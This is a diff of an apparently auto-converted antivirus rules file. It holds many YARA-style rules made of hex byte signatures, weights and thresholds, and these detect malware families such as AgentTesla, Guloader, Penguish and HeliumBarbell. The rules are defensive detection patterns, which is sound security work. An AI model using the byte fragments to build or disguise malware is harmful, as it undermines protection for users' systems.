72 42 56 74 2e 65 78 65 01 00 18 80 01 53 74 61 74 69 63 20 4c 6f 61 64 65 72 5c 4c 6f 61 64 65 72 2e 65 78 65 01 00 06 80 01 4c 6f 61 64 65 72 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 50 31 32 33 21 4d 54 42 00 01 00 } //26881 - $a_65_3 = {69 } //-32506 i - $a_01_4 = {00 0e 81 01 70 72 6f 67 72 61 6d 73 74 75 6d 70 65 6e 01 00 16 81 01 73 74 72 73 74 65 76 72 64 69 20 6b 75 70 65 65 6e 73 2e 65 78 65 01 00 0b 81 01 6e 65 6f 6d 6f 72 70 68 69 73 6d 01 00 0f 81 01 6f 76 65 72 63 72 65 64 75 6c 6f 75 73 6c 79 00 00 78 87 00 00 06 00 06 00 03 00 21 23 48 53 } //29300 + $a_56_2 = {72 69 66 69 63 61 74 69 6f 6e 01 00 09 80 01 65 72 42 56 74 2e 65 78 65 01 00 18 80 01 53 74 61 74 69 63 20 4c 6f 61 64 65 72 5c 4c 6f 61 64 65 72 2e 65 78 65 01 00 06 80 01 4c 6f 61 64 65 72 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4c 30 31 21 4d 54 42 00 01 00 0a 81 } //26881 + $a_70_3 = {69 67 67 69 73 68 01 00 0c 81 01 65 73 73 69 6e 67 65 6e 2e 65 78 65 01 00 11 81 01 55 6e 76 69 74 61 6c 69 7a 65 64 38 35 2e 46 6a 65 01 00 14 81 01 41 6c 74 73 61 78 6f 66 6f 6e 69 73 74 65 72 73 2e 74 78 74 01 00 0b 81 01 58 79 6c 6f 73 69 64 2e 4d 61 74 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //29953 + $a_6c_4 = {61 64 65 72 2e 4b 55 55 50 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 70 69 74 72 61 01 00 0e 81 01 70 72 6f 67 72 61 6d 73 74 75 6d 70 65 6e 01 00 16 81 01 73 74 72 73 74 65 76 72 64 69 20 6b 75 70 65 65 6e 73 2e 65 78 65 01 00 0b 81 01 6e 65 6f 6d 6f 72 70 68 69 73 6d 01 00 0f 81 01 6f 76 65 72 63 72 65 64 75 6c 6f 75 73 6c 79 00 00 78 87 00 00 06 } //18223 condition: - ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*28484+(#a_56_2 & 1)*26881+(#a_65_3 & 1)*-32506+(#a_01_4 & 1)*29300) >=5 + ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*28484+(#a_56_2 & 1)*26881+(#a_70_3 & 1)*29953+(#a_6c_4 & 1)*18223) >=5 } -rule _InfrastructureShared_8965{ +rule _InfrastructureShared_9520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 56 21 4d 54 42 00 01 00 0d 80 01 4f 53 59 5c 65 72 42 56 74 2e 70 64 62 01 00 0e 80 01 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e 01 00 09 80 01 65 72 42 56 } //16675 - $a_78_1 = {01 00 18 80 01 53 74 61 74 69 63 20 4c 6f 61 64 65 72 5c 4c 6f 61 64 65 72 2e 65 78 65 01 00 06 80 01 4c 6f 61 64 65 72 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 50 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 70 69 74 72 61 01 00 0e 81 } //11892 - $a_6f_2 = {72 61 6d 73 74 75 6d 70 65 6e 01 00 16 81 01 73 74 72 73 74 65 76 72 64 69 20 6b 75 70 65 65 6e 73 2e 65 78 65 01 00 0b 81 01 6e 65 6f 6d 6f 72 70 68 69 73 6d 01 00 0f 81 01 6f 76 65 72 63 72 65 64 75 6c 6f 75 73 6c 79 00 00 78 87 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //28673 - $a_43_3 = {30 31 21 4d 54 42 00 05 00 38 03 0a 06 18 5b 8d 90 01 01 00 00 01 0b 16 0c 2b 1a 00 07 08 18 5b 02 08 18 6f 90 01 01 00 00 0a 1f 10 28 90 01 01 00 00 0a 9c 00 08 18 58 0c 08 06 fe 04 0d 09 2d de 90 00 01 00 04 81 01 51 4c 4e 4b 01 00 0c 81 01 4e 68 61 6e 68 } //21038 - $a_43_4 = {6f 70 00 00 78 87 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 52 36 21 4d 54 42 00 01 00 08 80 01 61 6c 32 36 2e 63 6f 6d 01 00 0b 80 01 57 61 6e 67 59 75 6e 49 6e 73 74 01 00 08 80 01 53 74 61 72 4e 6f 74 65 01 00 0d 80 01 43 6f 54 61 73 6b 4d 65 6d 46 72 65 65 01 00 09 80 01 4d 65 6e 75 } //26702 + $a_78_1 = {01 00 18 80 01 53 74 61 74 69 63 20 4c 6f 61 64 65 72 5c 4c 6f 61 64 65 72 2e 65 78 65 01 00 06 80 01 4c 6f 61 64 65 72 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4c 30 31 21 4d 54 42 00 01 00 0a 81 01 75 6e 70 72 69 67 67 69 73 68 01 00 } //11892 + $a_65_2 = {73 } //-32500 s + $a_65_3 = {2e 65 78 65 01 00 11 81 01 55 6e 76 69 74 61 6c 69 7a 65 64 38 35 2e 46 6a 65 01 00 14 81 01 41 6c 74 73 61 78 6f 66 6f 6e 69 73 74 65 72 73 2e 74 78 74 01 00 0b 81 01 58 79 6c 6f 73 69 64 2e 4d 61 74 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 } //28265 + $a_32_4 = {21 4d 54 42 00 01 00 06 81 01 65 70 69 74 72 61 01 00 0e 81 01 70 72 6f 67 72 61 6d 73 74 75 6d 70 65 6e 01 00 16 81 01 73 74 72 73 74 65 76 72 64 } //20565 condition: - ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*11892+(#a_6f_2 & 1)*28673+(#a_43_3 & 1)*21038+(#a_43_4 & 1)*26702) >=5 + ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*11892+(#a_65_2 & 1)*-32500+(#a_65_3 & 1)*28265+(#a_32_4 & 1)*20565) >=5 } -rule _InfrastructureShared_8966{ +rule _InfrastructureShared_9521{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 4c 30 31 21 4d 54 42 00 01 00 0a 81 01 75 6e 70 72 69 67 67 69 73 68 01 00 0c 81 01 65 73 73 69 6e 67 65 6e 2e 65 78 65 01 00 11 81 01 55 6e 76 69 74 61 6c 69 7a 65 64 38 35 2e 46 6a 65 01 00 14 } //18467 + $a_6c_1 = {73 61 78 6f 66 6f 6e 69 73 74 65 72 73 2e 74 78 74 01 00 0b 81 01 58 79 6c 6f 73 69 64 2e 4d 61 74 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 } //385 + $a_55_2 = {50 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 70 69 74 72 61 01 00 0e 81 01 70 72 6f 67 72 61 6d 73 74 75 6d 70 65 6e 01 00 16 81 01 73 74 72 73 74 65 76 72 64 69 20 6b 75 70 65 65 6e 73 2e 65 78 65 01 00 0b 81 01 6e 65 6f 6d } //11890 + $a_68_3 = {73 6d 01 00 0f 81 01 6f 76 65 72 63 72 65 64 75 6c 6f 75 73 6c 79 00 00 78 87 00 00 06 00 06 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 43 54 30 31 21 4d 54 42 00 05 00 38 03 0a 06 18 5b 8d 90 01 01 00 00 01 0b 16 0c 2b 1a 00 07 08 18 5b 02 08 18 6f 90 01 01 00 00 0a 1f 10 } //29295 + $a_01_4 = {00 } //-28632 + condition: + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*385+(#a_55_2 & 1)*11890+(#a_68_3 & 1)*29295+(#a_01_4 & 1)*-28632) >=5 + +} +rule _InfrastructureShared_9522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -95923,7 +101976,7 @@ rule _InfrastructureShared_8966{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25976+(#a_65_2 & 1)*385+(#a_00_3 & 1)*400+(#a_28_4 & 1)*7946) >=5 } -rule _InfrastructureShared_8967{ +rule _InfrastructureShared_9523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -95935,7 +101988,7 @@ rule _InfrastructureShared_8967{ ((#a_54_0 & 1)*18467+(#a_06_1 & 1)*3160+(#a_81_2 & 1)*1) >=6 } -rule _InfrastructureShared_8968{ +rule _InfrastructureShared_9524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -95950,7 +102003,7 @@ rule _InfrastructureShared_8968{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*21615+(#a_63_2 & 1)*27760+(#a_61_3 & 1)*28530+(#a_51_4 & 1)*30545+(#a_4e_5 & 1)*-32756) >=6 } -rule _InfrastructureShared_8969{ +rule _InfrastructureShared_9525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -95964,7 +102017,7 @@ rule _InfrastructureShared_8969{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*28265+(#a_58_2 & 1)*20824+(#a_66_4 & 1)*384+(#a_54_5 & 1)*28261) >=6 } -rule _InfrastructureShared_8970{ +rule _InfrastructureShared_9526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -95978,7 +102031,7 @@ rule _InfrastructureShared_8970{ ((#a_54_0 & 1)*18467+(#a_51_1 & 1)*22337+(#a_72_2 & 1)*29304+(#a_6a_3 & 1)*29268+(#a_6f_4 & 1)*28793) >=6 } -rule _InfrastructureShared_8971{ +rule _InfrastructureShared_9527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -95993,7 +102046,7 @@ rule _InfrastructureShared_8971{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*384+(#a_ff_2 & 1)*400+(#a_00_3 & 1)*144+(#a_57_4 & 1)*20737+(#a_65_5 & 1)*12108) >=7 } -rule _InfrastructureShared_8972{ +rule _InfrastructureShared_9528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -96006,7 +102059,7 @@ rule _InfrastructureShared_8972{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=8 } -rule _InfrastructureShared_8973{ +rule _InfrastructureShared_9529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -96016,7 +102069,7 @@ rule _InfrastructureShared_8973{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_8974{ +rule _InfrastructureShared_9530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -96027,18 +102080,29 @@ rule _InfrastructureShared_8974{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*7939) >=10 } -rule _InfrastructureShared_8975{ +rule _InfrastructureShared_9531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 43 72 69 6c 6f 63 6b 00 01 00 22 03 2b c5 0f b6 c9 05 90 02 04 8b e8 8d 44 31 2e 8b 4c 24 10 8b 31 81 c6 90 02 04 33 ff 83 fb 06 a3 90 00 01 00 3e 03 0f b7 50 02 8d 48 04 83 fa 72 75 90 01 01 66 83 39 00 0f 84 90 01 01 00 00 00 } //18467 - $a_e8_1 = {01 02 00 00 8b 90 01 01 85 90 01 01 74 90 01 01 8b 45 0c 90 01 01 8b 10 8b c8 ff 52 10 90 00 00 00 01 00 78 87 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 37 36 21 4d 54 42 00 0a 00 3e 02 00 09 11 04 11 05 6f 90 01 04 13 09 09 11 04 11 05 6f 90 01 04 13 0a 11 0a 28 90 01 04 13 0b 08 07 11 0b 28 90 01 04 9c 00 11 05 17 58 13 05 11 05 09 6f 90 01 04 fe 04 13 0c 11 0c 90 00 01 00 08 00 47 65 74 50 69 78 65 6c 01 00 07 00 54 6f 57 69 6e 33 32 00 00 78 87 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 37 39 39 21 4d 54 42 00 0a 00 3d 02 09 11 04 11 05 6f 90 01 04 13 08 09 11 04 11 05 6f 90 01 04 13 09 11 09 28 90 01 04 } //-13693 + $a_e8_1 = {01 02 00 00 8b 90 01 01 85 90 01 01 74 90 01 01 8b 45 0c 90 01 01 8b 10 8b c8 ff 52 10 90 00 00 00 01 00 78 87 00 00 0b 00 0b 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6e 67 75 69 73 68 2e 43 43 4a 58 21 4d 54 42 00 05 00 32 03 fe c3 36 8a 94 2b 90 01 04 02 c2 36 8a 8c 28 90 01 04 36 88 8c 2b 90 01 04 36 88 94 28 90 01 04 02 ca 36 8a 8c 29 90 01 04 30 0e 46 4f 0b ff 75 90 00 06 00 20 03 8a 07 32 04 31 aa ff 4d 90 01 01 41 3b 4d 90 01 01 75 90 01 01 33 c9 83 7d 90 01 01 00 75 90 00 00 00 78 87 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 37 36 21 4d 54 42 00 0a 00 3e 02 00 09 11 04 11 05 6f 90 01 04 13 09 09 11 04 11 05 6f 90 01 04 13 0a 11 0a 28 90 01 04 } //-13693 condition: ((#a_54_0 & 1)*18467+(#a_e8_1 & 1)*-13693) >=10 } -rule _InfrastructureShared_8976{ +rule _InfrastructureShared_9532{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6e 67 75 69 73 68 2e 43 43 4a 58 21 4d 54 42 00 05 00 32 03 fe c3 36 8a 94 2b 90 01 04 02 c2 36 8a 8c 28 90 01 04 36 88 8c 2b 90 01 04 36 88 94 28 90 01 04 02 ca } //21539 + $a_29_1 = {01 04 30 0e 46 4f 0b ff 75 90 00 06 00 20 03 8a 07 32 04 31 aa ff 4d 90 01 01 41 3b 4d 90 01 01 75 90 01 01 33 c9 83 7d 90 01 01 00 75 90 00 00 00 78 87 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 37 36 21 4d 54 42 00 0a 00 3e 02 00 09 11 04 11 05 6f 90 01 04 13 09 09 11 04 11 05 6f 90 01 04 13 0a 11 0a 28 90 01 04 13 0b 08 07 11 0b 28 90 01 04 } //-30154 + condition: + ((#a_4c_0 & 1)*21539+(#a_29_1 & 1)*-30154) >=11 + +} +rule _InfrastructureShared_9533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -96049,7 +102113,7 @@ rule _InfrastructureShared_8976{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*1297) >=12 } -rule _InfrastructureShared_8977{ +rule _InfrastructureShared_9534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -96060,7 +102124,7 @@ rule _InfrastructureShared_8977{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*1297) >=12 } -rule _InfrastructureShared_8978{ +rule _InfrastructureShared_9535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 04 00 21 " @@ -96073,7 +102137,7 @@ rule _InfrastructureShared_8978{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29797+(#a_46_2 & 1)*16675+(#a_58_3 & 1)*2153) >=15 } -rule _InfrastructureShared_8979{ +rule _InfrastructureShared_9536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -96084,7 +102148,7 @@ rule _InfrastructureShared_8979{ ((#a_46_0 & 1)*16675+(#a_58_1 & 1)*2153) >=20 } -rule _InfrastructureShared_8980{ +rule _InfrastructureShared_9537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 06 00 21 " @@ -96098,7 +102162,7 @@ rule _InfrastructureShared_8980{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25710+(#a_33_3 & 1)*12324+(#a_00_4 & 1)*12334+(#a_4c_5 & 1)*12653) >=24 } -rule _InfrastructureShared_8981{ +rule _InfrastructureShared_9538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 05 00 21 " @@ -96110,7 +102174,7 @@ rule _InfrastructureShared_8981{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*25971+(#a_b6_4 & 1)*12) >=25 } -rule _InfrastructureShared_8982{ +rule _InfrastructureShared_9539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96120,7 +102184,7 @@ rule _InfrastructureShared_8982{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8983{ +rule _InfrastructureShared_9540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96130,7 +102194,17 @@ rule _InfrastructureShared_8983{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8984{ +rule _InfrastructureShared_9541{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 6c 69 75 6d 42 61 72 62 65 6c 6c 2e 41 21 64 68 61 00 01 00 55 43 48 8b f9 8b ea 8b ca 4d 8b f0 e8 90 01 04 44 8b c5 33 d2 48 8b c8 48 8b f0 e8 90 01 04 45 33 c9 85 ed 74 90 01 01 48 } //16675 + condition: + ((#a_46_0 & 1)*16675) >=1 + +} +rule _InfrastructureShared_9542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96140,7 +102214,7 @@ rule _InfrastructureShared_8984{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8985{ +rule _InfrastructureShared_9543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96150,7 +102224,7 @@ rule _InfrastructureShared_8985{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_8986{ +rule _InfrastructureShared_9544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96160,7 +102234,7 @@ rule _InfrastructureShared_8986{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8987{ +rule _InfrastructureShared_9545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96170,7 +102244,7 @@ rule _InfrastructureShared_8987{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8988{ +rule _InfrastructureShared_9546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96180,7 +102254,7 @@ rule _InfrastructureShared_8988{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8989{ +rule _InfrastructureShared_9547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96190,7 +102264,7 @@ rule _InfrastructureShared_8989{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8990{ +rule _InfrastructureShared_9548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96200,7 +102274,7 @@ rule _InfrastructureShared_8990{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8991{ +rule _InfrastructureShared_9549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96210,7 +102284,7 @@ rule _InfrastructureShared_8991{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8992{ +rule _InfrastructureShared_9550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96220,7 +102294,7 @@ rule _InfrastructureShared_8992{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8993{ +rule _InfrastructureShared_9551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96230,7 +102304,7 @@ rule _InfrastructureShared_8993{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8994{ +rule _InfrastructureShared_9552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96240,7 +102314,7 @@ rule _InfrastructureShared_8994{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_8995{ +rule _InfrastructureShared_9553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96250,7 +102324,7 @@ rule _InfrastructureShared_8995{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8996{ +rule _InfrastructureShared_9554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96260,7 +102334,7 @@ rule _InfrastructureShared_8996{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_8997{ +rule _InfrastructureShared_9555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96270,7 +102344,7 @@ rule _InfrastructureShared_8997{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8998{ +rule _InfrastructureShared_9556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96280,7 +102354,7 @@ rule _InfrastructureShared_8998{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_8999{ +rule _InfrastructureShared_9557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -96290,7 +102364,7 @@ rule _InfrastructureShared_8999{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_9000{ +rule _InfrastructureShared_9558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96301,7 +102375,7 @@ rule _InfrastructureShared_9000{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25902) >=1 } -rule _InfrastructureShared_9001{ +rule _InfrastructureShared_9559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96312,7 +102386,7 @@ rule _InfrastructureShared_9001{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*4357) >=1 } -rule _InfrastructureShared_9002{ +rule _InfrastructureShared_9560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96322,7 +102396,7 @@ rule _InfrastructureShared_9002{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_9003{ +rule _InfrastructureShared_9561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96333,7 +102407,7 @@ rule _InfrastructureShared_9003{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*12642) >=1 } -rule _InfrastructureShared_9004{ +rule _InfrastructureShared_9562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96344,7 +102418,7 @@ rule _InfrastructureShared_9004{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*13111) >=1 } -rule _InfrastructureShared_9005{ +rule _InfrastructureShared_9563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96355,7 +102429,7 @@ rule _InfrastructureShared_9005{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*14647) >=1 } -rule _InfrastructureShared_9006{ +rule _InfrastructureShared_9564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96366,7 +102440,7 @@ rule _InfrastructureShared_9006{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*25401) >=1 } -rule _InfrastructureShared_9007{ +rule _InfrastructureShared_9565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96377,7 +102451,7 @@ rule _InfrastructureShared_9007{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*25398) >=1 } -rule _InfrastructureShared_9008{ +rule _InfrastructureShared_9566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96388,7 +102462,7 @@ rule _InfrastructureShared_9008{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25400) >=1 } -rule _InfrastructureShared_9009{ +rule _InfrastructureShared_9567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96399,7 +102473,7 @@ rule _InfrastructureShared_9009{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24882) >=1 } -rule _InfrastructureShared_9010{ +rule _InfrastructureShared_9568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -96410,18 +102484,30 @@ rule _InfrastructureShared_9010{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*30033) >=1 } -rule _InfrastructureShared_9011{ +rule _InfrastructureShared_9569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_77_0 = {69 3a 48 53 54 52 3a 42 61 63 6b 67 72 6f 75 6e 64 48 6f 73 74 00 01 00 2c 01 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 52 65 6c 65 61 73 65 5c 42 61 63 6b 67 72 6f 75 6e 64 48 6f 73 74 2e 70 64 62 01 00 30 01 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 42 61 63 6b 67 72 6f } //19491 - $a_48_1 = {73 74 2e 70 64 62 00 00 78 88 00 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 73 50 61 72 61 6c 79 7a 65 72 2e 41 00 01 00 12 03 c7 45 e6 d1 48 29 ca 90 01 01 45 ea ff e1 48 b9 90 00 01 00 2d 03 43 53 2d 50 41 52 41 4c 59 5a 45 52 5c 78 36 34 5c 52 65 6c 65 61 73 } //28277 + $a_48_1 = {73 74 2e 70 64 62 00 00 78 88 00 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6f 61 70 42 6f 78 2e 41 21 64 68 61 00 01 00 1e 01 53 50 5f 73 6f 61 70 5f 52 43 45 5f 50 6f 43 90 01 01 57 65 62 50 61 72 74 50 61 67 65 73 01 00 25 01 24 38 39 66 39 64 34 31 31 2d 65 32 } //28277 condition: ((#a_77_0 & 1)*19491+(#a_48_1 & 1)*28277) >=1 } -rule 